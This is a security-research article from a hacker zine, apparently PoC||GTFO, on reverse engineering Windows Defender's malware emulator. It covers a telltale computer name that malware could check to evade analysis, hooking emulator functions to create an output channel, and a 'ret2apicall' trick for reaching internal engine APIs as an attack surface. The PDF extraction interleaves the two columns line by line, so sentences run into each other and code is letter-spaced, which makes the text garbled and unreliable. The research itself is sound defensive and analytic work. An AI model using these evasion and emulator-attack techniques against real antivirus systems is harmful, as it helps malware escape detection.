(e.g., OS build information on the Windows PEB), This particular trait could be used by malware to
most of the virtual execution environment can only evade the Defender emulator, e.g., malware seeing
be observed through OS API calls. (Querying for the computer name “HAL9TH” could choose not to
a username, statting a directory, reading a registry run, knowing that it is likely being emulated by De-
key, etc.) As a result, OS emulation is often tightly fender.
coupled with virtual environment emulation. Having looked at simple, in-emulator, VDLL
The three tricks addressed here will all touch routines, we can now look at more complex rou-
upon “VDLLs” (presumably “virtual DLLs”) within tines that require invoking native emulation. These
the Defender emulator. VDLLs emulate the func- routines are akin to those OS API functions which
tionality of real Windows DLLs (dynamic-link li- require syscalling in to the kernel. Just like in the
braries) in the Defender emulator, providing emu- kernel, these routines are used to handle more com-
lation of the operating system API, including pre- plex operations, such as interacting with the file sys-
senting the virtual execution environment. These tem, creating threads, or interacting with mutexes
VDLLs are real Windows PE files, and using them is or events.
just like using real Windows DLLs - they are loaded Whereas on a real system the int or syscall in-
into the memory space of binaries under emulation, struction and specific register values are used to alert
they are present in the emulated file system in the the kernel that it must service some usermode re-
65 git clone https://github.com/gaasedelen/lighthouse
65
. t e x t : 7 C82D0EA ; =============== S U B R O U T I N E =======================================
2 . t e x t : 7 C82D0EA
. t e x t : 7 C82D0EA ; A t t r i b u t e s : bp−based frame
4 . t e x t : 7 C82D0EA
. t e x t : 7 C82D0EA ; BOOL _ _ s t d c a l l GetComputerNameW (LPWSTR l p B u f f e r , LPDWORD n S i z e )
6 . t e x t : 7 C82D0EA p u b l i c GetComputerNameW
. t e x t : 7 C82D0EA GetComputerNameW p r o c n e a r ; DATA XREF: . t e x t : off_7C8547D8
8 . t e x t : 7 C82D0EA
. t e x t : 7 C82D0EA lpBuffer = dword p t r 8
10 . t e x t : 7 C82D0EA nSize = dword p t r 0Ch
. t e x t : 7 C82D0EA
12 . t e x t : 7 C82D0EA push ebp
. t e x t : 7 C82D0EB mov ebp , e s p
14 . t e x t : 7 C82D0ED mov eax , [ ebp+n S i z e ]
. t e x t : 7 C82D0F0 push edi
16 . t e x t : 7 C82D0F1 test eax , eax
. t e x t : 7 C82D0F3 jz short loc_7C82D119
18 . t e x t : 7 C82D0F5 mov e d i , [ ebp+l p B u f f e r ]
. t e x t : 7 C82D0F8 test edi , edi
20 . t e x t : 7 C82D0FA jz short loc_7C82D119
. t e x t : 7 C82D0FC cmp eax , 1000 h
22 . t e x t : 7 C82D101 jbe short loc_7C82D119
. t e x t : 7 C82D103 push 8
24 . t e x t : 7 C82D105 pop ecx
. t e x t : 7 C82D106 cmp [ eax ] , e c x
26 . t e x t : 7 C82D108 jnb short loc_7C82D120
. t e x t : 7 C82D10A mov [ eax ] , e c x
28 . t e x t : 7 C82D10C mov eax , l a r g e f s : 1 8 h
. t e x t : 7 C82D112 mov dword p t r [ eax+34h ] , 6Fh
30 . t e x t : 7 C82D119
. t e x t : 7 C82D119 loc_7C82D119 : ; CODE XREF: GetComputerNameW+9
32 . t e x t : 7 C82D119 ; GetComputerNameW+10 . . .
. t e x t : 7 C82D119 xor eax , eax
34 . t e x t : 7 C82D11B
. t e x t : 7 C82D11B loc_7C82D11B : ; CODE XREF: GetComputerNameW+4B
36 . t e x t : 7 C82D11B pop edi
. t e x t : 7 C82D11C pop ebp
38 . t e x t : 7 C82D11D retn 8
. t e x t : 7 C82D120 ; −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
40 . t e x t : 7 C82D120
. t e x t : 7 C82D120 loc_7C82D120 : ; CODE XREF: GetComputerNameW+1E
42 . t e x t : 7 C82D120 push esi
. t e x t : 7 C82D121 mov esi , o f f s e t aHal9th_0 ; "HAL9TH"
44 . t e x t : 7 C82D126 movsd
. t e x t : 7 C82D127 movsd
46 . t e x t : 7 C82D128 movsd
. t e x t : 7 C82D129 movsw
48 . t e x t : 7 C82D12B mov dword p t r [ eax ] , 7
. t e x t : 7 C82D131 xor eax , eax
50 . t e x t : 7 C82D133 inc eax
. t e x t : 7 C82D134 pop esi
52 . t e x t : 7 C82D135 jmp short loc_7C82D11B
. t e x t : 7 C82D135 GetComputerNameW endp
66
quest, in Defender, a custom non-standard apicall is 119 esyscall_t structs, each consisting of a func-
instruction provides this facility. When the CPU tion pointer to an API emulation function followed
emulator sees the apicall instruction, it invokes by the corresponding CRC32 value.
special native emulation routines to handle emula- These native functions are implemented in De-
tion of a complex function. fender’s mpengine.dll as native x86 code. Like an
The apicall instruction consists of a three byte OS kernel, they have privileged full control over pro-
opcode, 0f ff f0, followed by a four byte immedi- cessing being emulated - they can manipulate mem-
ate indicating a function to emulate. The four byte ory, register state, etc. These functions can also in-
immediate value is the CRC32 of the DLL name teract with internal data emulator data structures,
in all caps xored with the CRC32 of the function’s such as those that store the virtual file system or
name. heuristic information about malware behavior.
It’s worth noting that since these 119 emu-
1 0 f f f f0 [ f o u r b y t e immediate ] lated functions are emulated with native code,
apicall which r o u t i n e t o e m u l a t e any vulnerabilities in them can allow malware
to break out of the emulator, escalate privilege
to NTAUTHORITY/SYSTEM (which Defender currently
These apicall functions are spread across De- runs as, unsandboxed), and gain code execution
fender’s virtual DLLs and used to trigger the more within an AV process itself - unlikely to be flagged
complex emulation certain functions may require. by the AV for any malicious behavior it carries out.
For example, the code below is used to trigger De- Building files that get consistently emulated dur-
fender’s native emulation of the Sleep. This func- ing scanning can be a challenge. Through a bit of
tion with the actual apicall instruction is called by trial and error, I was able to come up with Visual
kernel32!SleepEx, which can be called directly, or Studio build settings to produce Windows executa-
by kernel32!Sleep, which is basically just a wrap- bles that are consistently scanned - this involved
per around kernel32!SleepEx. The same is true tweaking optimization levels, target OSes, and link-
on a real Windows system. ing. The Visual Studio project included in this is-
sue gets consistently emulated when I have Defender
scan it.66
8B FF mov edi , edi
2 E8 00 00 00 00 call $+5
83 C4 04 add esp , 4
4 0F FF F0 B6 BE 79 57 apicall kernel32 ! Sleep
Creating an Output Channel
50 push eax
6 33 C0 xor eax , eax AV software’s usual lack of output can make it par-
58 pop eax ticularly obtuse to approach for reverse engineers.
8 C2 04 00 retn 4 When scanning a piece of potential malware, the AV
will often respond with a malicious or not malicious
classification, but little else. Naming conventions in
When the virtual CPU emulator sees the cus- identifying the malware may provide some indica-
tom apicall opcode run, it ends up calling tion of how it was scanned. (For example, seeing
out through several functions until it ends up the identification “Dropper:[malware name]” is a
at __call_api_by_crc(pe_vars_t *v, unsigned strong indication that the malware was run in the
int apicrc). In this function, pe_vars_t *v is AV’s emulator, where it dropped a known piece of
an enormous (almost half a megabyte) struct hold- malware.)
ing all the information needed to manage the em- The prior AVLeak research showed how malware
ulator’s state during emulation. unsigned int identification itself may be exploited as a side chan-
apicrc is the immediate of the apicall instruction, nel to leak information out from these emulators,
crc32(dll name in all caps) ⊕ crc32(name but this approach is generally only useful for AV
of function). From here, the emulator searches evasion. (For example, creating malware that looks
the the global g_syscalls array for a function for particular unique identifiers in these emulated
pointer that provides native emulation of the CRCed systems in order to know that it is being analyzed
API function. As can be seen in Figure 6, the array so it can then behave benignly.) This approach is
66 unzip pocorgtfo19.pdf defender.zip
67
5A129BA8 ; e s y s c a l l _ t g _ s y s c a l l s [ 1 1 9 ]
2 5A129BA8 g _ s y s c a l l s dd o f f s e t ?NTDLL_DLL_NtSetEventWorker@@YAXPAUpe_vars_t@@@Z
5A129BAC dd 5 F2823h
4 5A129BB0 dd o f f s e t ?NTDLL_DLL_NtResumeThreadWorker@@YAXPAUpe_vars_t@@@Z
5A129BB4 dd 2435AE3h
6 5A129BB8 dd o f f s e t ?NTDLL_DLL_NtSetInformationFileWorker@@YAXPAUpe_vars_t@@@Z
5A129BBC dd 2DA9326h
8 5A129BC0 dd o f f s e t ?ADVAPI32_DLL_RegDeleteValueW@@YAXPAUpe_vars_t@@@Z
5A129BC4 dd 6 A61690h
also slow as it extracts information at the rate of are pulled out from the current emulation session,
bytes per second. Finally, AVLeak requires multi- and parameter 0 (LPCSTR lpCmdLine) is a pointer
ple rounds of malware scanning to extract complex within the emulator’s virtual address space and
multi-byte artifacts. This is fine for most artifacts of must be handled through with pe_read_string_ex
interest, such as usernames, timing measurements, in order to retrieve the actual wide string at the
and API call results, but some interesting artifacts supplied emulator address.
may be randomized per run or too long to dump, Reversing out how pe_read_string_ex and
such as bytes of library code after standard func- other APIs used to map in parameter-provided
tion prologues in Kaspersky AV’s emulated DLLs or pointers, we come across the massive function:
complete files from disk. BYTE * __mmap_ex(pe_vars_t *v, unsigned
After seeing me present my AVLeak side channel int size, unsigned __int64 addr, unsigned
research, my friend Mark suggested using function int rights), which returns a native pointer to a
hooking to create a much larger bandwidth chan- virtual memory inside an emulation session. Given
nel from within AV emulators to the outside. By this pointer, native code can now reach in and read
hooking the native code-implemented functions in- or write (depending on rights) memory inside the
side the emulator’s g_syscalls array, and then in- emulator.
voking those hooked functions with malware inside With our understanding of function emulation
the emulator using arguments we’d like to pass to and memory management, we now have the tools
the outside world, we can effectively create an out- to create a simple output channel from within the
put channel for sharing information from inside. emulator. We begin with a simple function, one
In general, this technique requires solving the that is well suited to serve as an output chan-
non-trivial technical challenge of actually locating nel: kernel32!OutputDebugStringA. Defender’s
emulation routines in memory, writing code to hook provided native function of the function basically
them, and then figuring out how to extract emu- does nothing, it just retrieves its single parameter
lated parameters and potentially memory contents and bumps up the emulator tick count:
from the emulator. In the case of Windows Defender
however, this is relatively easy, as these functions are 1 void __cdecl KERNEL32_DLL_OutputDebugStringA
conveniently labeled by Microsoft provided symbols, ( pe_vars_t ∗v ) {
and the existing code already present gives us a good 3 Parameters <1> a r g ; // [ e s p+4h ] [ ebp−Ch ]
example to work off of.
5 Parameters <1 >:: Parameters <1>(&arg , v ) ;
While the in-emulator VDLL emulation func- v−>m_pDTc−>m_vticks64 += 32 i 6 4 ;
tions can simply interact directly with memory in- 7 }
side the emulator, these native emulations func-
tions must use APIs to programmatically change
emulator state via the pe_vars_t *v parameter
which all of them take. We can see an example of
this in Figure 7’s annotated Hex-Rays decompila-
tion of kernel32!WinExec. Note how parameters
68
1 /∗
Emulation o f UINT WINAPI WinExec ( _In_ LPCSTR lpCmdLine , _In_ UINT uCmdShow) ;
3 ∗/
void __cdecl KERNEL32_DLL_WinExec( pe_vars_t ∗v )
5 {
DT_context ∗pDTc ; // e c x
7 unsigned __int64 v2 ; // [ e s p+0h ] [ ebp −54h ]
CAutoVticks v t i c k s ; // [ e s p +10h ] [ ebp −44h ]
9 s r c _ a t t r i b u t e _ t a t t r ; // [ e s p+1Ch ] [ ebp −38h ]
unsigned i n t Length ; // [ e s p +30h ] [ ebp −24h ]
11 Parameters <2> a r g ; // [ e s p +34h ] [ ebp −20h ]
i n t unused ; // [ e s p +50h ] [ ebp −4h ]
13
v t i c k s . m_vticks = 3 2 ;
15 pDTc = v−>m_pDTc;
v t i c k s . m _ i n i t _ v t i c k s = &v−>v t i c k s 3 2 ;
17 v t i c k s .m_pC = pDTc ;
unused = 0 ;
19
// P u l l two p a r a m e t e r s o f f t h e s t a c k from v i n t o t h e l o c a l Parameters a r r a y a r g .
21 // This f i r s t parameter i s j u s t t h e l i t e r a l raw v a l u e found on t h e s t a c k , i n t h i s case ,
// i t ’ s an LPCSTR, b u t / i n t h e e m u l a t o r / , so i t ’ s a p o i n t e r i n t h e e m u l a t o r s
23 // v i r t u a l a d d r e s s s p a c e . The s e co n d parameter i s a u n s i g n e d i n t e g e r , so
// t h e parameter v a l u e i s l i t e r a l l y j u s t t h a t i n t e g e r
25
Parameters <2 >:: Parameters <2>(&arg , v ) ;
27
// s e t r e t u r n v a l u e t o 1
29
pe_set_return_value ( v , 1 u i 6 4 ) ;
31 ∗& a t t r . f i r s t . l e n g t h = 0 ;
∗& a t t r . s e c o n d . l e n g t h = 0 ;
33 attr . a t t r i b i d = 12291;
a t t r . s e c o n d . numval32 = 0 ;
35 Length = 0 ;
37 // t r a n s l a t e t h e parameter 0 p o i n t e r i n t o a r e a l n a t i v e p o i n t e r t h a t
// t h e e m u l a t o r can i n t e r a c t w i t h
39
a t t r . f i r s t . numval32 = pe_read_string_ex ( v , a r g . m_Arg [ 0 ] . v a l 6 4 , &Length , v2 ) ;
41
a t t r . f i r s t . l e n g t h = Length ;
43 __siga_check ( v , &a t t r ) ;
45 // e m u l a t e c r e a t i n g a new p r o c e s s , do v a r i o u s AV i n t e r n a l s t u f f
69
We are going to implement our own function to odd optimized calling convention: pe_vars_t *v
replace KERNEL32_DLL_OutputDebugStringA that is passed in register ecx (like the thiscall con-
will actually print output to stdout so that we can vention), but then unsigned int size is passed in
pass information from inside of the emulator to the edx. I found the easiest way to get around this was
outside world. to simply write my own a bit of x86 assembly we can
We begin engineering by pulling down a copy of trampoline through to get to it as shown in Figure 9.
Tavis Ormandy’s LoadLibrary, an open source har- Now we can add these calls to e_mmap into
ness that allows us to run mpengine.dll on Linux.67 our code so that we can retrieve strings passed to
LoadLibrary parses and loads the mpengine.dll OutputDebugStringA to obtain the implementation
Windows PE into executable memory on Linux, and in Figure 10. Running this code yields our desired
patches up the import address table to functions functionality:
providing simple emulation of the Windows API
functions that Defender invokes. Once loaded, the OutputDebugStringA
engine is initialized, and scanning is invoked by call- OutputDebugStringA p a r a m e t e r : 0 x4032d8 −>
ing Defender’s __rsignal function, which takes in- H e l l o World ! This i s coming from i n s i d e
put and directs it to various AV scanning subsys- the emulator !
tems. While this research could also easily be done
with a custom Windows harness for Defender, Tavis’
tool is readily accessible and easy to use. Once we With this hook now set up, we have an easy
have LoadLibrary working, we can easily modify it way to pass information from within the emulator
to manipulate the loaded mpengine.dll library in to outside of it. Exploring the environment inside
memory. the emulator is now as easy as literally printing to
Our first step is to hook the KERNEL32_DLL_- the terminal.
OutputDebugStringA function. As the function is Using the APIs and techniques demonstrated to
only ever invoked via function pointer, it’s easi- create a two-way IO channel where we can give in-
est to simply replace the function pointer in the put to the malware running inside the emulator (for
g_syscalls array. We can write our own function example, to generate fuzzer test cases for emulated
with the same __cdecl calling convention that sim- APIs on the outside and pass them to a malware
ply takes a void * and put a pointer to it in the binary on the inside) is left as an exercise for the
g_syscalls table, replacing the original pointer to reader.
KERNEL32_DLL_OutputDebugStringA. Copying how
the real Defender code does things, we call the Pa-
rameters<1>::Parameters<1> function to retrieve
the one parameter passed to the function - this can
be done easily by simply locating the function in the
DLL, creating a correctly typed function pointer to
it, and calling it as shown in Figure 8.
Running this code produces some basic output:
1 OutputDebugStringA c a l l e d !
OutputDebugStringA p a r a m e t e r : 0 x4032d8
70
1 s t a t i c void __cdecl KERNEL32_DLL_OutputDebugStringA_hook ( void ∗ v )
{
3 u i n t 6 4 _ t Params [ 1 ] = { 0 } ;
const char ∗ d e b u g S t r i n g ;
5
p r i n t f ( " OutputDebugStringA c a l l e d ! \ n" ) ;
7
P a r a m e t e r s 1 ( Params , v ) ; // c a l l i n g i n t o mpengine . d l l ’ s Parameters <1>:: Parameters <1>
9
p r i n t f ( " OutputDebugStringA p a r a m e t e r : 0x%x\n" , Params [ 0 ] ) ;
11
// don ’ t worry a b o u t bumping t h e t i c k c o u n t
13
return ;
15 }
17 . t e x t : 5 A129E20 dd o f f s e t ?KERNEL32_DLL_CopyFileWWorker@@YAXPAUpe_vars_t@@@Z
. t e x t : 5 A129E24 dd 0B27D5174h
19 //We ’ l l r e p l a c e this function pointer :
. t e x t : 5 A129E28 dd o f f s e t ?KERNEL32_DLL_OutputDebugStringA@@YAXPAUpe_vars_t@@@Z
21 . t e x t : 5 A129E2C dd 0B28014BBh
. t e x t : 5 A129E30 dd o f f s e t ?NTDLL_DLL_NtGetContextThread@@YAXPAUpe_vars_t@@@Z
23 . t e x t : 5 A129E34 dd 0B363A610h
25 . . .
typedef u i n t 3 2 _ t _ _ t h i s c a l l ( ∗ P a r a m e t e r s C a l l ) ( void ∗ params , void ∗ v ) ;
27 ParametersCall Parameters1 ;
29 ...
31 u i n t 3 2 _ t ∗ pOutputDebugStringA ;
// g e t t h e r e a l a d d r e s s o f t h e f u n c t i o n p o i n t e r , mpengine . d l l l o a d e d image b a s e + RVA
33 pOutputDebugStringA = imgRVA(pRVAs−>RVA_FP_OutputDebugStringA ) ;
∗ pOutputDebugStringA = ( u i n t 3 2 _ t ) KERNEL32_DLL_OutputDebugStringA_hook ; // i n s e r t hook
35
P a r a m e t e r s 1 = imgRVA(pRVAs−>RVA_Parameters1 ) ;
37 . . .
71
Defender defines __mmap_ex as:
char ∗ _ _ u s e r c a l l __mmap_ex@<eax >(pe_vars_t ∗v@<ecx >, unsigned __int64 addr ,
2 unsigned i n t s i z e @ <edx >, unsigned i n t r i g h t s ) ;
72
ret2apicall tually dispatches to a native API emulation handler
look if the instruction is being run from a VDLL
As previously discussed, the apicall opcode (0f ff page (is_vdll_page), and if not, if it is a dynamic
f0) is custom addition to Defender’s CPU emulator page (mmap_is_dynamic_page). Using the instruc-
used to trigger calls to native API emulation rou- tion can even trigger a call to MpSetAttribute in-
tines stored in the g_syscalls array. While these forming Defender that it was used - likely a very
native API emulation routines include complex-to- strong heuristic indicator of malicious intent.
emulate but standard Window APIs (NtWriteFile,
ReadProcessMemory, VirtualAlloc, etc.), there
are also a number of unique, Defender-specific 1 . . .
functions reachable with the apicall instruction. 3 i f v14
( ! i s _ v d l l _ p a g e ( v5 , v25 ) ) {
= v6 ;
These Defender-specific functions include various i f ( ! mmap_is_dynamic_page ( v28 , ∗(&v26 −1) )
“VFS_*” functions (e.g., VFS_Read, VFS_Write, 5 | | n i d s e a r c h r e c i d ( v29 ) != 1 ) {
VFS_CopyFile, VFS_GetLength, etc.) providing i f ( ! ∗ ( v2 + 1 6 7 4 5 4 ) ) {
7 qmemcpy(&v36 , &NullSha1 , 0 x14u ) ;
low level access to the virtual file system68 as v15 = ∗ v2 ;
well as internal functions allowing administration 9 M pSet Attri bute ( 0 , 0 , & v36 , 0 , ∗ ( & v27 −1) ) ;
of the engine (NtControlChannel) and interfacing ∗ ( v2 + 1 6 7 4 5 4 ) = 1 ;
with the Defender’s antivirus engine. (Mp* func- 11 }
return 0 ;
tions, such as MpReportEvent, which is used in- 13 }
ternally to report that malware took a particu- }
lar action during emulation.) These special func- 15 . . .
tions should normally only be invoked internally
from the Defender emulator by code put there, for
example as shown in Figure 11, the in-emulator Looking at that initial check, !is_vdll_page,
emulation routine for ntdll!ZwSetLdtEntries in- it’s quite obvious how we can get around it: we
vokes MpReportEvent(0x3050, 0, 0) - ostensibly need to come from a VDLL page. As I’ve shown
the value (or “attribid” according to Microsoft throughout this article, the apicall instruction can
symbols) 0x3050 indicates to some heuristic mal- be found throughout the process memory space in
ware classification engine that ZwSetLdtEntries VDLLs. Dumping out VDLLs,71 we see that they
was called. contain apicall instructions (see Figure 12) for in-
In Summer 2017, Tavis Ormandy of Google voking many of the native emulation functions that
Project Zero took a look at internal functions Defender supports - both those necessary for the
and found vulnerabilities in them.69 Tavis’ operations the particular VDLL may use as well
NtControlChannel bug simply linked against as other ones that are not used by that particular
ntdll!NtControlChannel, but his VFS bug PoC VDLL.
had to use the apicall instruction to hit Calling these internal APIs is a simple as just
ntdll!VFS_Write, which he did using standard trampolining through these apicall instruction
.text code in his malware binary.70 function stubs, which are accessible from executable
After fixing these bugs, Microsoft attempted memory loaded into the process space of the mal-
to lock down these attack surfaces by limiting ware executing within the emulator. For exam-
where the apicall instruction could be used. ple, in a particular build of the emulator where
Newly added checks in the 1.1.13903.0 (6/23/2017) kernel32.dll has an apicall stub function for
mpengine.dll release look before the function ac- VFS_Write at RVA +0x16e66, the following code can
68 The virtual file system is stored all in memory during emulation. On a real system usermode Native (Nt*) APIs would do
system calls into the kernel where they would ultimately be handled. In Defender, the VFS_* functions are akin to these kernel
level handlers, they provide low level access to operations on the in memory file system.
69 https://bugs.chromium.org/p/project-zero/issues/detail?id=1260
https://bugs.chromium.org/p/project-zero/issues/detail?id=1282
70 The VFS_Write function did little validation on input values, and Tavis was able cause heap corruption by writing odd
values to it. As Defender’s emulation of ntdll!NtWriteFile ultimately calls into VFS_Write after doing some input validation,
fuzzing that API on the a old unpatched version of Defender, I was able to reproduce Tavis’ same heap corruption, but using
different inputs that passed NtWriteFile validation. (Tavis’s inputs did not.)
71 We can simply find them on disk in the virtual file system in the standard C:\Windows\System32 directory, read them in,
and then pass them out via an output channel like that discussed previously in “Creating an Output Channel.”
73
p u b l i c ZwSetLdtEntries
2 ZwSetLdtEntries proc near
14 loc_7C96B6C2 :
mov edi , edi
16 call $+5
add esp , 4
18 a p i c a l l n t d l l ! NtSetLdtEntries
retn 18h
Figure 12. Dump from kernel32.dll showing functions that use the apicall instruction.
74
1 unsigned i n t offset_apicall_KERNEL32_DLL_VFS_Write = 0 x16e66 ;
11 VFS_Write ( . . . ) ;
be used to reach it from within the emulator. When I reported this issue to Microsoft, they
With the ability to hit these internal APIs, at- said “We did indeed make some changes to make
tackers have access to a great attack surface, with this interface harder to reach from the code we are
a proven history of memory corruption vulnerabili- emulating - however, that was never intended to be
ties. They can also cause trouble by changing vari- a trust boundary. [...] Accessing the internal APIs
ous signatures hits and settings via MpReportEvent exposed to the emulation code is not a security vul-
and NtControlChannel. Finally, if an attacker nerability.”
does find a vulnerability in the engine, invoking
NtControlChannel(3, ...) provides engine ver-
sion information, which can be helpful in exploita- Disassembling Apicall Instructions
tion, if you have pre-calculated offsets for ROP or Throughout this article, I’ve shown disassembly
other memory corruption. from IDA with the apicall instruction cleanly dis-
assembled. As this is a custom opcode only sup-
ported by Windows Defender, IDA obviously can’t
normally disassemble it. After I dumped VDLLs
out of the emulator from the system32 directory, I
found they could be loaded into IDA cleanly, but
the dissasember was getting confused by apicalls.
As a reminder, this instruction is formed by the
bytes 0f ff f0 followed by a four byte immediate of
the CRC32 of the uppercase DLL name xored with
the CRC32 of the function name.
Attempting to this code, IDA chokes on the 0f
ff f0 bytes, and then attempts to disassemble the
bytes after it, for example, the four byte immediate.
We can see this in ntdll!MpGetCurrentThreadHan-
dle:
1 . t e x t : 7 C96C577 MpGetCurrentThreadHandle_0 :
. t e x t : 7 C96C577 8B FF mov edi , edi
3 . t e x t : 7 C96C579 E8 00000000 call $+5
. t e x t : 7 C96C57E 83 C4 04 add esp , 4
5 . t e x t : 7 C96C581 0F FF F0 db 0Fh , 0 FFh , 0 F0h
. t e x t : 7 C96C584 D5 60 aad 60h
7 . t e x t : 7 C96C586 D5 8C aad 8Ch
. t e x t : 7 C96C588 C3 retn
75
The hashesToNames map is a map of function
CRCs to their names. A script to generate this map
is included in the comments of the included apicall
parsing script. This and other functions discussed
here are shown in Figure 14.
ev_ana_insn fires for each instruction IDA an-
alyzes. In this function we grab three bytes at the
address where IDA thinks there is an instruction,
and check if they are 0f ff f0. If they are, we look
up the function hash to see if we have an imple-
mentation for it, and also set a few traits of the in-
struction - setting it to be seven bytes wide (so that
IDA will know to disassembly the next instruction
seven bytes later), and setting it to having a dword
immediate operand of the API CRC immediate.
ev_out_mnem actually outputs the mnemonic
string for the instruction - in this case we print out
apicall and some spaces.
Finally, ev_out_operand outputs the operand
value - since we know all the instruction CRC
hashes, we can output those names as immediates.
With this extension dropped in our IDA plug-
ins folder, we get clean disassembly of the apicall
instruction when loading binaries that use it.
In conclusion, we’ve looked at three tricks for re-
verse engineering and attacking Windows Defender.
While these tricks are Defender specific, the gen-
eral intuition about AV emulator design and how a
reverse engineer might go about approaching them
should hold for other AVs. This article has mostly
looked at techniques - for a look at Window De-
Using a lesser-known feature of IDA’s scripting fender emulator internals, readers are encouraged to
interface, we can write a processor module exten- check out my conference presentations on the topic
sion. I based my code off of Rolf Rolles’ excellent and to reverse the engine themselves.
blogs on writing processor module extensions.
This processor module extension runs during
module loading and analysis, and outputs disassem-
bly for the apicall instruction. The full code is
included in this issue, here I’ll walk through some of
the interesting parts.
As this script is invoked for every binary we load
in IDA, we want to make sure that it only steps in to
do disassembly for binaries we know to be Defender
related. The checks in the init function shown in
Figure 13 make sure that the plugin will only run
for x86 binaries with “.mp.dll” in their name.
Our parse_apicall_hook class inherits from
idaapi.IDP_Hooks, and we provide implementa-
tions for several of the classes methods.
76
c l a s s apicall_parse_t ( i d a a p i . plugin_t ) :
2 f l a g s = i d a a p i .PLUGIN_PROC | i d a a p i . PLUGIN_HIDE
comment = "MsMpEng a p i c a l l x86 P a r s e r "
4 h e l p = "Runs t r a n s p a r e n t l y d u r i n g a n a l y s i s "
wanted_name = " MsMpEng_apicall "
6 hook = None
8 def i n i t ( s e l f ) :
s e l f . hook = None
10 i f not " . mp . d l l " i n i d c . G e t I n p u t F i l e ( ) o r i d a a p i . ph_get_id ( ) != i d a a p i . PLFM_386 :
return i d a a p i . PLUGIN_SKIP
12
p r i n t " \n\n−−>MsMpEng a p i c a l l x86 P a r s e r Invoked ! \ n\n"
14
s e l f . hook = p a r s e _ a p i c a l l _ h o o k ( )
16 s e l f . hook . hook ( )
return i d a a p i .PLUGIN_KEEP
18
d e f run ( s e l f , a r g ) :
20 pass
22 d e f term ( s e l f ) :
i f s e l f . hook :
24 s e l f . hook . unhook ( )
26 d e f PLUGIN_ENTRY( ) :
return a p i c a l l _ p a r s e _ t ( )
77
1 hashesToNames = {3514167808L : ’KERNEL32_DLL_WinExec ’ ,
3018310659L : ’ NTDLL_DLL_VFS_FindNextFile ’ , . . . }
3
NN_apicall = ida_idp .CUSTOM_INSN_ITYPE
5 c l a s s p a r s e _ a p i c a l l _ h o o k ( i d a a p i . IDP_Hooks ) :
d e f __init__ ( s e l f ) :
7 i d a a p i . IDP_Hooks . __init__ ( s e l f )
9 d e f ev_ana_insn ( s e l f , i n s n ) :
g l o b a l hashesToNames
11
i n s n b y t e s = i d a a p i . g e t _ b y t e s ( i n s n . ea , 3 )
13 i f i n s n b y t e s == ’ \ x 0 f \ x f f \ x f 0 ’ :
a p i c r c = i d a a p i . g e t _ l o n g ( i n s n . ea +3)
15 apiname = hashesToNames . g e t ( a p i c r c )
i f apiname i s None :
17 p r i n t "ERROR: a p i c r c 0x%x NOT FOUND! "%( a p i c r c )
19 p r i n t " a p i c a l l : %s @ 0x%x"%(apiname , i n s n . ea )
21 insn . i t y p e = NN_apicall
insn . Op1 . t y p e = i d a a p i . o_imm
23 insn . Op1 . v a l u e = a p i c r c
insn . Op1 . dtyp = i d a a p i . dt_dword
25 insn . s i z e = 7 #e a t up 7 b y t e s
27 return True
return F a l s e
29
d e f ev_out_mnem ( s e l f , o u t c t x ) :
31 insntype = outctx . insn . itype
33 i f i n s n t y p e == NN_apicall :
mnem = " a p i c a l l "
35 o u t c t x . o u t _ l i n e (mnem)
37 MNEM_WIDTH = 8
width = max ( 1 , MNEM_WIDTH − l e n (mnem) )
39 o u t c t x . o u t _ l i n e ( ’ ’ ∗ width )
41 return True
return F a l s e
43
d e f ev_out_operand ( s e l f , o u t c t x , op ) :
45 insntype = outctx . insn . itype
47 i f i n s n t y p e == NN_apicall :
a p i c r c = op . v a l u e
49 apiname = hashesToNames . g e t ( a p i c r c )
51 i f apiname i s None :
return F a l s e
53 else :
s = apiname . s p l i t ( "_DLL_" )
55 operand_name = " ! " . j o i n ( [ s [ 0 ] . l o w e r ( ) , s [ 1 ] ] )
p r i n t "FOUND: " , operand_name
57
o u t c t x . o u t _ l i n e ( operand_name )
59
return True
61 return F a l s e
Figure 14. Excepts from the IDA processor module for parsing apicall instructions.
78
79
19:13 What clever things have you learned lately?
from the desk of Pastor Manul Laphroaig,
Tract Association of PoCkGTFO.
Dearest neighbor,
Our scruffy little gang started this самиздат
journal a few years back because we didn’t much like
the academic ones, but also because we wanted to
learn new tricks for reverse engineering. We wanted
to publish the methods that make exploits and poly-
glots possible, so that folks could learn from each
other. Over the years, we’ve been blessed with the
privilege of editing these tricks, of seeing them early,
Now it’s your turn to share what you know, that
and of seeing them through to print.
nifty little truth that other folks might not yet know.
It could be simple, or a bit advanced. Whatever
your nifty tricks, if they are clever, we would like to
publish them.
Do this: write an email in 7-bit ASCII telling
our editors how to reproduce ONE clever, techni-
cal trick from your research. If you are uncertain of
your English, we’ll happily translate from French,
Russian, Southern Appalachian, and German.
Like an email, keep it short. Like an email, you
should assume that we already know more than a
bit about hacking, and that we’ll be insulted or—
WORSE!—that we’ll be bored if you include a long
tutorial where a quick explanation would do.
Teach me how to falsify a freshman physics ex-
periment by abusing floating-point edge cases. Show
me how to enumerate the behavior of all illegal in-
structions in a particular implementation of 6502,
or how to quickly blacklist any byte from amd64
shellcode. Explain to me how shellcode in Wine or
ReactOS might be simpler than in real Windows.
Don’t tell us that it’s possible; rather, teach us
how to do it ourselves with the absolute minimum
of formality and bullshit.
Like an email, we expect informal language and
hand-sketched diagrams. Write it in a single sit-
ting, and leave any editing for your poor preacher-
man to do over a bottle of fine scotch. Send this
to pastor@phrack org and hope that the neighborly
Phrack folks—praise be to them!—aren’t man-in-the-
middling our submission process.
80